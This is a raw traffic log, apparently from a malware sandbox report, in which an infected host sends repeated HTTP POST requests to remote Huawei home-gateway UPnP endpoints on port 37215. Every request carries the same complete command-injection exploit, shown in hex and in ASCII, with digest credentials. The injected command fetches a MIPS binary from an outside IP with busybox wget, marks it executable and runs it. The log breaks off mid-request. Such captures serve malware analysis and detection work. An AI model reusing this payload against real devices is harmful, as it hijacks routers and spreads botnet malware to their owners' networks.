Jan 1, 2024 12:53:05.160770893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	41588	156.253.42.94	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:09.798868895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:13.980570078 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:20.124691963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:32.156529903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:56.988542080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:46.140516996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	36226	156.254.109.44	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:10.099040031 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:11.644661903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:13.468555927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 